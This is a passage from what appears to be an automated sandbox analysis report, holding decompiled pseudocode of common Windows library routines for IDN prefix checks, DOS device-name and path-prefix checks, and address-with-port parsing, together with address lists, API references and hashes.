								goto L68;
							}
							_t227 = 0x2d;
							while( *_t281 != _t227) {
								_t281 = _t281 - 2;
								if(_t281 >= _t239) {
									continue;
								}
								goto L46;
							}
							goto L47;
						} else {
							goto L11;
						}
					}
					if(_a16 != 0) {
						_t228 = 0x2d;
						if( *_t239 == _t228) {
							goto L35;
						}
						if(_t234 <= _v52) {
							goto L6;
						}
						if( *((intOrPtr*)(_t234 - 2)) == _t228) {
							goto L35;
						}
					}
					L6:
					_t306 = _t234 - _t239;
					if((_t306 & 0xfffffffe) > 0x7e) {
						goto L35;
					}
					goto L7;
				}
				_t160 = _a12;
				if(_t160 != 0 || _t234 != _t277) {
					goto L35;
				} else {
					goto L29;
				}
			}

0x6a915c14
0x6a915c18
0x6a915c1b
0x6a915c1e
0x6a915c20
0x6a915c26
0x6a915c2b
0x6a9712f0
0x6a915dcf
0x6a915dd4
0x6a915dd4
0x6a915c31
0x6a915c34
0x6a915c39
0x6a915c3c
0x6a915c40
0x6a915c43
0x6a915c45
0x6a915c48
0x6a915c4a
0x6a915c53
0x6a915c59
0x6a915c5d
0x6a915dd7
0x6a915dd7
0x6a915dce
0x00000000
0x6a915dce
0x6a915c63
0x6a915c65
0x6a915c6c
0x6a915c6f
0x6a915c74
0x6a915c77
0x6a915c7b
0x00000000
0x00000000
0x6a915c85
0x6a971320
0x6a915ca7
0x6a915cb1
0x6a915cda
0x6a915ce7
0x00000000
0x00000000
0x6a915ced
0x6a915cf1
0x6a915d4b
0x6a915d4f
0x6a915d68
0x6a915d6d
0x6a915d80
0x6a915d80
0x6a915d85
0x6a97163d
0x6a971643
0x6a97164a
0x6a971654
0x6a97165b
0x00000000
0x00000000
0x6a971661
0x6a971661
0x6a915d8b
0x6a915d8e
0x6a915d90
0x6a915d93
0x6a915d98
0x00000000
0x00000000
0x6a915d9e
0x6a915d9e
0x6a915da3
0x00000000
0x6a915dc3
0x6a915dca
0x6a915dcc
0x00000000
0x6a915dcc
0x6a915da3
0x6a915d72
0x00000000
0x00000000
0x6a915d77
0x6a915d7a
0x6a915d7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915cf3
0x6a915cf3
0x6a915cf7
0x6a915d1e
0x6a915d1e
0x6a915d24
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915d24
0x6a915cfd
0x6a971630
0x00000000
0x00000000
0x6a971636
0x6a915d03
0x6a915d08
0x6a915d0c
0x00000000
0x00000000
0x6a915d14
0x6a915d18
0x00000000
0x00000000
0x00000000
0x6a915d38
0x6a915d38
0x6a915d3b
0x6a915d3e
0x6a915d41
0x6a915d44
0x6a915d48
0x6a915d48
0x00000000
0x6a915d48
0x6a915cb7
0x6a915cbc
0x6a915cbe
0x6a915cbe
0x6a915cc7
0x6a915ccc
0x6a915ccf
0x6a915cd4
0x6a97132a
0x6a97132d
0x6a971330
0x6a971333
0x6a971338
0x6a971349
0x6a971349
0x6a97134b
0x6a971350
0x00000000
0x00000000
0x6a971358
0x6a971405
0x6a971366
0x6a971368
0x6a97136c
0x6a97136e
0x6a971373
0x6a971407
0x6a971409
0x6a971414
0x6a97140b
0x6a97140b
0x6a97140b
0x6a971416
0x6a971418
0x6a97141f
0x6a971422
0x6a971425
0x6a971428
0x6a971431
0x00000000
0x6a971437
0x6a971437
0x6a971439
0x6a97143c
0x6a971442
0x6a971445
0x6a97144c
0x6a97144f
0x6a971452
0x6a97145d
0x6a971462
0x6a971466
0x6a97146a
0x00000000
0x00000000
0x6a971477
0x6a97147d
0x00000000
0x00000000
0x6a971483
0x6a97148c
0x6a97148e
0x6a971491
0x6a971496
0x6a9714a2
0x6a9714a9
0x6a9714a4
0x6a9714a6
0x6a9714a6
0x6a971498
0x6a97149a
0x6a97149a
0x6a9714ae
0x6a9714e8
0x6a971501
0x6a971509
0x6a97150c
0x6a97150f
0x6a971511
0x6a971513
0x6a971518
0x6a97151d
0x00000000
0x00000000
0x6a971523
0x6a97152a
0x6a97152f
0x6a971556
0x6a971595
0x6a971598
0x6a97159b
0x6a9715a0
0x6a9715c8
0x00000000
0x6a9715d6
0x6a9715e3
0x6a9715ef
0x6a9715f5
0x6a971607
0x6a97160c
0x6a97160f
0x00000000
0x6a97160f
0x6a9715c8
0x6a9715a5
0x00000000
0x6a9715b3
0x6a9715b9
0x00000000
0x6a9715b9
0x6a9715a5
0x6a971558
0x6a97155b
0x6a97155e
0x6a971563
0x00000000
0x00000000
0x6a971565
0x6a971577
0x6a971579
0x6a971579
0x6a97157f
0x6a971582
0x6a971583
0x6a971586
0x6a97158b
0x00000000
0x6a97158d
0x6a97158d
0x00000000
0x6a97158d
0x6a97158b
0x6a971565
0x00000000
0x6a9714b0
0x6a9714b2
0x6a9714b3
0x6a9714ba
0x6a9714bd
0x6a9714c2
0x00000000
0x00000000
0x6a9714c8
0x6a9714cf
0x6a9714d3
0x6a9714d6
0x00000000
0x6a9714d6
0x6a9714ae
0x00000000
0x6a971612
0x6a971612
0x6a971615
0x6a971616
0x6a971619
0x00000000
0x6a971621
0x6a971431
0x6a971379
0x6a97137e
0x6a971383
0x6a9713b8
0x6a9713b8
0x6a9713be
0x00000000
0x6a9713ce
0x6a9713d0
0x6a9713e3
0x6a9713e3
0x6a9713e5
0x6a9713e5
0x6a9713e8
0x6a9713eb
0x6a9713ee
0x6a9713f3
0x00000000
0x00000000
0x00000000
0x6a9713f3
0x6a9713d2
0x6a9713d9
0x00000000
0x00000000
0x6a9713db
0x6a9713de
0x00000000
0x6a9713de
0x6a9713be
0x6a971388
0x6a97139a
0x6a97139f
0x6a9713a3
0x00000000
0x00000000
0x6a9713ab
0x6a9713af
0x00000000
0x00000000
0x6a9713b5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a971388
0x6a9713f7
0x00000000
0x00000000
0x6a9713fd
0x6a971400
0x6a971400
0x00000000
0x6a971358
0x6a97133c
0x6a97133d
0x6a971342
0x6a971347
0x00000000
0x00000000
0x00000000
0x6a971347
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915cd4
0x6a915c8f
0x6a9712fc
0x6a971300
0x00000000
0x00000000
0x6a971309
0x00000000
0x00000000
0x6a971313
0x00000000
0x00000000
0x6a971319
0x6a915c95
0x6a915c97
0x6a915ca1
0x00000000
0x00000000
0x00000000
0x6a915ca1
0x6a971669
0x6a97166e
0x00000000
0x6a97167c
0x00000000
0x6a97167c

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6A915CC7

Strings

H, xrefs: 6A971428
xn--, xrefs: 6A915CBE, 6A915CC5
$, xrefs: 6A9714C8
$, xrefs: 6A9714CF
xl--, xrefs: 6A915CB7

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: 36ee5d110c47cc6a5dee9793550897128e7da7df1a385686a9c035ad2970c123
Instruction ID: 53fe0e6b29d8675fba878619e15132abd30b43fc799ccf6caa02e64b407b1951
Opcode Fuzzy Hash: 36ee5d110c47cc6a5dee9793550897128e7da7df1a385686a9c035ad2970c123
Instruction Fuzzy Hash: 16F1F075E0825A9BDF24CF68C4D87ADB7F1AF45314F36856AD911AB290EF30CD818B60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9374C0, Relevance: 10.8, APIs: 7, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6A9374C0(signed short* __ecx) {
				char _v8;
				signed int _v12;
				signed int* _v16;
				void* _v20;
				signed short _t49;
				signed int _t54;
				signed int _t56;
				signed int _t57;
				signed int _t68;
				signed short* _t71;
				signed int _t74;
				signed int _t80;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				char _t91;
				signed short* _t92;
				unsigned short _t93;
				char _t94;
				signed short* _t95;
				signed int _t100;
				unsigned short _t101;
				signed short* _t104;
				signed int _t105;
				void* _t106;
				signed int* _t107;
				signed short _t108;
				signed int _t109;
				signed int _t112;
				signed int* _t113;

				_t92 = __ecx;
				_t104 = __ecx[2];
				_t112 =  *__ecx & 0x0000ffff;
				_v8 = 0;
				if(_t112 < 2) {
					L3:
					_t49 =  *_t92;
					_t113 = _t104;
					_t108 = _t49;
					_v20 = _t49;
					_t89 = _t108 & 0x0000ffff;
					_t93 = _t89;
					_v16 = _t113;
					_t105 = _t93 >> 0x00000001 & 0x0000ffff;
					if(_t105 == 0) {
						goto L28;
					} else {
						if( *((short*)(_t113 + _t105 * 2 - 2)) == 0x3a) {
							_t43 = _t93 - 2; // 0xfffffe
							_t108 = _t43;
							_t105 = _t105 + 0xffff;
							_t94 = 1;
							_v8 = 1;
						} else {
							_t94 = 0;
						}
						if(_t105 == 0) {
							goto L28;
						} else {
							while(1) {
								_t54 =  *(_t113 + (_t105 & 0x0000ffff) * 2 - 2) & 0x0000ffff;
								if(_t54 != 0x2e && _t54 != 0x20) {
									break;
								}
								_v12 = 0xfffe;
								_t105 = _t105 + 0xffff;
								_t108 = _t108 + _v12;
								_t94 = _t94 + 1;
								if(_t105 != 0) {
									continue;
								} else {
								}
								break;
							}
							_v8 = _t94;
							_v12 = 0;
							if(_t105 == 0) {
								L20:
								_t95 = _t113;
								_t106 = _t113 + (_t105 & 0x0000ffff) * 2;
								if(_t113 < _t106) {
									while(1) {
										_t68 =  *_t95 & 0x0000ffff;
										if(_t68 == 0x2e || _t68 == 0x3a) {
											break;
										}
										_t95 =  &(_t95[1]);
										if(_t95 < _t106) {
											continue;
										}
										break;
									}
									if(_t95 > _t113) {
										while( *((short*)(_t95 - 2)) == 0x20) {
											_t95 =  &(_t95[0xffffffffffffffff]);
											if(_t95 > _t113) {
												continue;
											} else {
											}
											goto L27;
										}
									}
								}
								L27:
								_t56 = _t95 - _t113 >> 0x00000001 & 0x0000ffff;
								_t109 = _t56;
								_v20 = _t56 + _t56;
								if(_t109 != 5) {
									_t26 = _t109 - 3; // 0x37
									_t57 = _t26;
									if(_t57 > 4) {
										goto L28;
									} else {
										switch( *((intOrPtr*)(_t57 * 4 +  &M6A9377C8))) {
											case 0:
												if(RtlEqualUnicodeString( &_v20, 0x6a8f1040, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6a8f1050, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6a8f1048, 1) != 0) {
													goto L46;
												} else {
													_push(1);
													_push(0x6a8f1058);
													goto L45;
												}
												goto L76;
											case 1:
												_t36 = __esi + 6; // 0xe6a8f
												__eax =  *_t36 & 0x0000ffff;
												if(iswdigit( *_t36 & 0x0000ffff) == 0) {
													goto L28;
												} else {
													if( *(__esi + 6) == 0x30) {
														goto L28;
													} else {
														_t46 = __ebx - 2; // -1
														__eax = _t46;
														_v20 = __ax;
														 &_v20 = RtlEqualUnicodeString( &_v20, 0x6a8f18f8, 1);
														if(__al != 0) {
															goto L46;
														} else {
															_push(1);
															_push(0x6a8f1910);
															goto L45;
														}
													}
												}
												goto L76;
											case 2:
												goto L28;
											case 3:
												_push(1);
												_push(0x6a8f1068);
												L45:
												if(RtlEqualUnicodeString( &_v20, ??, ??) == 0) {
													goto L28;
												} else {
													goto L46;
												}
												goto L76;
											case 4:
												_t35 =  &_v20; // 0xffff0
												_t35 = RtlEqualUnicodeString(_t35, 0x6a8f1060, 1);
												if(__al == 0) {
													goto L28;
												} else {
													L46:
													return _t109 + _t109 | _v12 << 0x00000010;
												}
												goto L76;
										}
									}
								} else {
									goto L28;
								}
							} else {
								_t71 = _t113 + ((_t105 & 0x0000ffff) - 1) * 2;
								if(_t71 < _t113) {
									L19:
									_t74 = ( *_t113 | 0x00000020) & 0x0000ffff;
									if(_t74 != 0x70) {
										if(_t74 == 0x6c || _t74 == 0x6e || _t74 == 0x61 || _t74 == 0x63) {
											goto L20;
										} else {
											goto L28;
										}
									} else {
										goto L20;
									}
								} else {
									while(1) {
										_t100 =  *_t71 & 0x0000ffff;
										if(_t100 == 0x5c || _t100 == 0x2f) {
											break;
										}
										if(_t100 == 0x3a) {
											if(_t71 !=  &(_t113[0])) {
												goto L14;
											} else {
												break;
											}
										} else {
											L14:
											_t71 = _t71 - 2;
											if(_t71 >= _t113) {
												continue;
											} else {
												goto L19;
											}
										}
										goto L76;
									}
									_t15 =  &(_t71[1]); // 0x3b
									_t107 = _t15;
									if(_t107 >= _t113 + (_t89 & 0xfffffffe)) {
										goto L28;
									} else {
										_t80 = ( *_t107 | 0x00000020) & 0x0000ffff;
										if(_t80 != 0x70) {
											if(_t80 == 0x6c || _t80 == 0x6e || _t80 == 0x61) {
												goto L18;
											} else {
												if(_t80 != 0x63) {
													goto L28;
												} else {
													goto L18;
												}
											}
										} else {
											L18:
											_v12 = _t107 - _t113;
											_t91 = _v8;
											_t101 = _t113 - _t107 + _t89 & 0x0000ffff;
											_t113 = _t107;
											_v16 = _t113;
											_t105 = (_t101 >> 0x00000001) - _t91 & 0x0000ffff;
											_v20 = _t101 - _t91 + _t91;
											goto L19;
										}
									}
								}
							}
						}
					}
				} else {
					_t85 =  *_t104 & 0x0000ffff;
					if(_t85 == 0x5c || _t85 == 0x2f) {
						if(_t112 < 4) {
							goto L3;
						} else {
							_t86 = _t104[1] & 0x0000ffff;
							if(_t86 != 0x5c) {
								if(_t86 != 0x2f) {
									goto L3;
								} else {
									goto L54;
								}
							} else {
								L54:
								if(_t112 < 6) {
									L28:
									return 0;
								} else {
									_t87 = _t104[2] & 0x0000ffff;
									if(_t87 != 0x2e) {
										if(_t87 == 0x3f) {
											goto L56;
										} else {
											goto L28;
										}
									} else {
										L56:
										if(_t112 < 8) {
											L69:
											if(_t112 != 6) {
												goto L28;
											} else {
												goto L3;
											}
										} else {
											_t88 = _t104[3] & 0x0000ffff;
											if(_t88 == 0x5c) {
												goto L28;
											} else {
												if(_t88 == 0x2f) {
													goto L28;
												} else {
													goto L69;
												}
											}
										}
									}
								}
							}
						}
					} else {
						goto L3;
					}
				}
				L76:
			}

0x6a9374c0
0x6a9374c8
0x6a9374cd
0x6a9374d0
0x6a9374db
0x6a9374f2
0x6a9374f2
0x6a9374f4
0x6a9374f6
0x6a9374f9
0x6a9374fc
0x6a9374ff
0x6a937501
0x6a93750a
0x6a937510
0x00000000
0x6a937516
0x6a93751c
0x6a9377af
0x6a9377af
0x6a9377b2
0x6a9377b8
0x6a9377bd
0x6a937522
0x6a937522
0x6a937522
0x6a937527
0x00000000
0x6a93752d
0x6a93752d
0x6a937530
0x6a937539
0x00000000
0x00000000
0x6a93778f
0x6a937796
0x6a93779c
0x6a9377a0
0x6a9377a4
0x00000000
0x00000000
0x6a9377aa
0x00000000
0x6a9377a4
0x6a937549
0x6a93754c
0x6a937556
0x6a9375e5
0x6a9375e8
0x6a9375ea
0x6a9375ef
0x6a9375f1
0x6a9375f1
0x6a9375f7
0x00000000
0x00000000
0x6a9375fe
0x6a937603
0x00000000
0x00000000
0x00000000
0x6a937603
0x6a937607
0x6a937610
0x6a97f983
0x6a97f988
0x00000000
0x00000000
0x6a97f98e
0x00000000
0x6a97f988
0x6a937610
0x6a937607
0x6a93761b
0x6a93761f
0x6a937622
0x6a937627
0x6a93762e
0x6a937680
0x6a937680
0x6a937686
0x00000000
0x6a937688
0x6a937688
0x00000000
0x6a9376a1
0x00000000
0x6a9376cb
0x6a9376cb
0x6a9376cd
0x00000000
0x6a9376cd
0x00000000
0x00000000
0x6a937718
0x6a937718
0x6a937727
0x00000000
0x6a93772d
0x6a97f998
0x00000000
0x6a97f99e
0x6a97f99e
0x6a97f99e
0x6a97f9a3
0x6a97f9b0
0x6a97f9b7
0x00000000
0x6a97f9bd
0x6a97f9bd
0x6a97f9bf
0x00000000
0x6a97f9bf
0x6a97f9b7
0x6a97f998
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93770f
0x6a937711
0x6a9376d2
0x6a9376dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9376fc
0x6a937700
0x6a937707
0x00000000
0x6a93770d
0x6a9376e3
0x6a9376f4
0x6a9376f4
0x00000000
0x00000000
0x6a937688
0x00000000
0x00000000
0x00000000
0x6a93755c
0x6a937560
0x6a937565
0x6a9375d6
0x6a9375dd
0x6a9375e3
0x6a937661
0x00000000
0x6a93767e
0x00000000
0x6a93767e
0x00000000
0x00000000
0x00000000
0x6a937567
0x6a937567
0x6a937567
0x6a93756d
0x00000000
0x00000000
0x6a937577
0x6a93777a
0x00000000
0x6a937780
0x00000000
0x6a937780
0x6a93757d
0x6a93757d
0x6a93757d
0x6a937582
0x00000000
0x6a937584
0x00000000
0x6a937584
0x6a937582
0x00000000
0x6a937577
0x6a937586
0x6a937586
0x6a937592
0x00000000
0x6a937598
0x6a93759f
0x6a9375a5
0x6a93763c
0x00000000
0x6a937654
0x6a937657
0x00000000
0x6a937659
0x00000000
0x6a937659
0x6a937657
0x6a9375ab
0x6a9375ab
0x6a9375b3
0x6a9375b6
0x6a9375b9
0x6a9375bc
0x6a9375c1
0x6a9375ca
0x6a9375d2
0x00000000
0x6a9375d2
0x6a9375a5
0x6a937592
0x6a937565
0x6a937556
0x6a937527
0x6a9374dd
0x6a9374dd
0x6a9374e3
0x6a937735
0x00000000
0x6a93773b
0x6a93773b
0x6a937742
0x6a97f961
0x00000000
0x6a97f967
0x00000000
0x6a97f967
0x6a937748
0x6a937748
0x6a93774b
0x6a937630
0x6a937638
0x6a937751
0x6a937751
0x6a937758
0x6a937788
0x00000000
0x6a93778a
0x00000000
0x6a93778a
0x6a93775a
0x6a93775a
0x6a93775d
0x6a97f975
0x6a97f978
0x00000000
0x6a97f97e
0x00000000
0x6a97f97e
0x6a937763
0x6a937763
0x6a93776a
0x00000000
0x6a937770
0x6a97f96f
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97f96f
0x6a93776a
0x6a93775d
0x6a937758
0x6a93774b
0x6a937742
0x00000000
0x00000000
0x00000000
0x6a9374e3
0x00000000

APIs

RtlEqualUnicodeString.1105(?,6A8F1040,00000001,?,00000024,01000000), ref: 6A93769A
RtlEqualUnicodeString.1105(?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A9376AE
RtlEqualUnicodeString.1105(?,6A8F1048,00000001,?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A9376C2
RtlEqualUnicodeString.1105(?,6A8F1058,00000001,?,6A8F1048,00000001,?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A9376D6
RtlEqualUnicodeString.1105(000FFFF0,6A8F1060,00000001,6A8F1068,00000001,6A8F18F8,00000001), ref: 6A937700
iswdigit.1105(000E6A8F,6A8F1048,00000001,?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A93771D
RtlEqualUnicodeString.1105(00100000,6A8F18F8,00000001), ref: 6A97F9B0

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: 0ae0ee600168daa1684e6299e78af6e54baf06e0c0aa7112619b05a3b6a3fd0e
Instruction ID: 5dd77afd8b09de8b843601dcc2c3a8b036c5e49e80c20598c8ac1bd80655f862
Opcode Fuzzy Hash: 0ae0ee600168daa1684e6299e78af6e54baf06e0c0aa7112619b05a3b6a3fd0e
Instruction Fuzzy Hash: F8812975C1413AE6DF24CE5AC4A17BDB3BAAF46308F720926E5A1D7190EF31C585C2A3

Uniqueness

Uniqueness Score: -1.00%

Function 6A910B60, Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A910B60(signed short* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t39;
				signed int _t41;
				void* _t45;
				void* _t50;
				long _t51;
				signed int _t52;
				signed int _t53;
				signed int _t60;
				signed int _t64;
				signed int _t75;
				signed int _t76;
				signed int _t78;
				signed int _t80;
				signed int _t87;
				signed short* _t90;
				void* _t93;
				signed int _t105;
				signed short* _t106;
				signed int _t111;
				void* _t115;
				signed int _t116;
				signed int _t117;
				signed int _t121;
				signed int _t122;
				long _t123;
				long _t125;
				void* _t128;
				signed short* _t131;

				_t90 = _a4;
				if(_t90 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t39 = 0xc000000d;
				} else {
					_t87 = 0;
					_v16 = 0;
					_t41 =  *_t90 & 0x0000ffff;
					_t115 = 0x5b;
					_t121 = _t41;
					_v20 = _t121;
					if(_t41 == _t115) {
						_t90 =  &(_t90[1]);
					}
					_v5 = _t121 == _t115;
					if(E6A910BD0(_t90,  &_v24, _a8) >= 0) {
						_t131 = _v24;
						_v12 = 0xa;
						__eflags =  *_t131 - 0x25;
						if( *_t131 != 0x25) {
							L22:
							_t45 = 0x5d;
							goto L23;
						} else {
							_t131 =  &(_t131[1]);
							_t125 =  *_t131 & 0x0000ffff;
							__eflags = _t125 - 0x80;
							if(_t125 >= 0x80) {
								goto L6;
							} else {
								_t76 = iswctype(_t125, 4);
								__eflags = _t76;
								if(_t76 == 0) {
									goto L6;
								} else {
									while(1) {
										__eflags = _t125;
										if(_t125 == 0) {
											break;
										}
										_t45 = 0x5d;
										__eflags = _t125 - _t45;
										if(_t125 == _t45) {
											_t121 = _v20;
											L23:
											__eflags =  *_t131 - _t45;
											if( *_t131 != _t45) {
												L45:
												_t116 = _v5;
												goto L46;
											} else {
												_t50 = 0x5b;
												__eflags = _t121 - _t50;
												if(_t121 != _t50) {
													goto L6;
												} else {
													_t131 =  &(_t131[1]);
													_t116 = 0;
													_v5 = 0;
													__eflags =  *_t131 - 0x3a;
													if( *_t131 != 0x3a) {
														L46:
														__eflags =  *_t131;
														if( *_t131 != 0) {
															goto L6;
														} else {
															__eflags = _t116;
															if(_t116 != 0) {
																goto L6;
															} else {
																 *_a16 = _t87;
																 *_a12 = _v16;
																_t39 = 0;
															}
														}
													} else {
														_t131 =  &(_t131[1]);
														_t122 = 0x10;
														__eflags =  *_t131 - 0x30;
														if( *_t131 != 0x30) {
															_t117 = 0xa;
														} else {
															_t24 =  &(_t131[1]); // -4
															_t106 = _t24;
															_t131 = _t106;
															_t117 = 8;
															_v12 = _t117;
															_t75 =  *_t131 & 0x0000ffff;
															__eflags = _t75 - 0x78;
															if(_t75 == 0x78) {
																L29:
																_t117 = _t122;
																_t26 =  &(_t106[1]); // 0x0
																_t131 = _t26;
																_v12 = _t117;
															} else {
																__eflags = _t75 - 0x58;
																if(_t75 != 0x58) {
																	goto L32;
																} else {
																	goto L29;
																}
																while(1) {
																	L32:
																	_t123 =  *_t131 & 0x0000ffff;
																	__eflags = _t123;
																	if(_t123 == 0) {
																		goto L45;
																	}
																	_t51 = 0x80;
																	__eflags = _t123 - 0x80;
																	if(_t123 >= 0x80) {
																		L39:
																		_t93 = 0x10;
																		__eflags = _t117 - _t93;
																		if(_t117 != _t93) {
																			goto L6;
																		} else {
																			__eflags = _t123 - _t51;
																			if(_t123 >= _t51) {
																				goto L6;
																			} else {
																				_t52 = iswctype(_t123, _t51);
																				__eflags = _t52;
																				if(_t52 == 0) {
																					goto L6;
																				} else {
																					_t53 = iswctype(_t123, 2);
																					asm("sbb eax, eax");
																					__eflags = (_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 - 0xffff;
																					if((_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 > 0xffff) {
																						goto L6;
																					} else {
																						_t60 = iswctype(_t123, 2);
																						_t117 = _v12;
																						asm("sbb eax, eax");
																						_t87 = (_t87 << 4) + 0xa + _t123 - ( ~_t60 & 0x00000020) + 0x41;
																						__eflags = _t87;
																						goto L44;
																					}
																				}
																			}
																		}
																	} else {
																		_t64 = iswctype(_t123, 4);
																		_t117 = _v12;
																		__eflags = _t64;
																		if(_t64 == 0) {
																			L38:
																			_t51 = 0x80;
																			goto L39;
																		} else {
																			_t105 = _t123 & 0x0000ffff;
																			_v24 = _t117 & 0x0000ffff;
																			_t31 = _t105 - 0x30; // -44
																			__eflags = _t31 - _v24;
																			if(_t31 >= _v24) {
																				goto L38;
																			} else {
																				__eflags = (_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 - 0xffff;
																				if((_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 > 0xffff) {
																					goto L6;
																				} else {
																					_t87 = _t117 * _t87 + 0xffffffd0 + _t123 & 0x0000ffff;
																					L44:
																					_t131 =  &(_t131[1]);
																					continue;
																				}
																			}
																		}
																	}
																	goto L7;
																}
																goto L45;
															}
														}
														goto L32;
													}
												}
											}
										} else {
											__eflags = _t125 - _t45 + 0x23;
											if(_t125 >= _t45 + 0x23) {
												goto L6;
											} else {
												_t78 = iswctype(_t125, 4);
												__eflags = _t78;
												if(_t78 == 0) {
													goto L6;
												} else {
													_v24 = _t125 & 0x0000ffff;
													_t80 = _v16;
													_t111 = 0xa;
													asm("cdq");
													asm("adc ecx, edx");
													_t128 = _t80 * _t111 + _v24 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t80 * _t111 >> 0x20;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L19:
															_t131 =  &(_t131[1]);
															__eflags = _t131;
															_v16 = _v16 * 0xa + _v24 + 0xffffffd0;
															_t125 =  *_t131 & 0x0000ffff;
															continue;
														} else {
															__eflags = _t128 - 0xffffffff;
															if(_t128 > 0xffffffff) {
																goto L6;
															} else {
																goto L19;
															}
														}
													}
												}
											}
										}
										goto L7;
									}
									_t121 = _v20;
									goto L22;
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t39;
			}

0x6a910b65
0x6a910b70
0x6a910bb7
0x6a910bb7
0x6a910b84
0x6a910b86
0x6a910b88
0x6a910b8b
0x6a910b90
0x6a910b91
0x6a910b93
0x6a910b99
0x6a910bc5
0x6a910bc5
0x6a910ba6
0x6a910bb1
0x6a96e578
0x6a96e580
0x6a96e587
0x6a96e58b
0x6a96e62e
0x6a96e630
0x00000000
0x6a96e591
0x6a96e591
0x6a96e594
0x6a96e597
0x6a96e59a
0x00000000
0x6a96e5a0
0x6a96e5a3
0x6a96e5aa
0x6a96e5ac
0x00000000
0x6a96e5b2
0x6a96e626
0x6a96e626
0x6a96e629
0x00000000
0x00000000
0x6a96e5b6
0x6a96e5b7
0x6a96e5ba
0x6a96e686
0x6a96e631
0x6a96e631
0x6a96e634
0x6a96e76f
0x6a96e76f
0x00000000
0x6a96e63a
0x6a96e63c
0x6a96e63d
0x6a96e640
0x00000000
0x6a96e646
0x6a96e646
0x6a96e649
0x6a96e64b
0x6a96e64e
0x6a96e652
0x6a96e772
0x6a96e774
0x6a96e777
0x00000000
0x6a96e77d
0x6a96e77d
0x6a96e77f
0x00000000
0x6a96e785
0x6a96e78c
0x6a96e795
0x6a96e797
0x6a96e797
0x6a96e77f
0x6a96e658
0x6a96e658
0x6a96e65d
0x6a96e65e
0x6a96e662
0x6a96e68d
0x6a96e664
0x6a96e664
0x6a96e664
0x6a96e667
0x6a96e66b
0x6a96e66c
0x6a96e66f
0x6a96e672
0x6a96e675
0x6a96e67c
0x6a96e67c
0x6a96e67e
0x6a96e67e
0x6a96e681
0x6a96e677
0x6a96e677
0x6a96e67a
0x00000000
0x00000000
0x00000000
0x00000000
0x6a96e68e
0x6a96e68e
0x6a96e68e
0x6a96e691
0x6a96e694
0x00000000
0x00000000
0x6a96e69a
0x6a96e69f
0x6a96e6a2
0x6a96e6f1
0x6a96e6f3
0x6a96e6f4
0x6a96e6f7
0x00000000
0x6a96e6fd
0x6a96e6fd
0x6a96e700
0x00000000
0x6a96e706
0x6a96e708
0x6a96e70f
0x6a96e711
0x00000000
0x6a96e717
0x6a96e71a
0x6a96e722
0x6a96e73b
0x6a96e740
0x00000000
0x6a96e746
0x6a96e74c
0x6a96e751
0x6a96e757
0x6a96e765
0x6a96e765
0x00000000
0x6a96e765
0x6a96e740
0x6a96e711
0x6a96e700
0x6a96e6a4
0x6a96e6a7
0x6a96e6ac
0x6a96e6b1
0x6a96e6b3
0x6a96e6ec
0x6a96e6ec
0x00000000
0x6a96e6b5
0x6a96e6b5
0x6a96e6bb
0x6a96e6be
0x6a96e6c1
0x6a96e6c4
0x00000000
0x6a96e6c6
0x6a96e6d2
0x6a96e6d7
0x00000000
0x6a96e6dd
0x6a96e6e7
0x6a96e767
0x6a96e767
0x00000000
0x6a96e767
0x6a96e6d7
0x6a96e6c4
0x6a96e6b3
0x00000000
0x6a96e6a2
0x00000000
0x6a96e68e
0x6a96e675
0x00000000
0x6a96e662
0x6a96e652
0x6a96e640
0x6a96e5c0
0x6a96e5c3
0x6a96e5c6
0x00000000
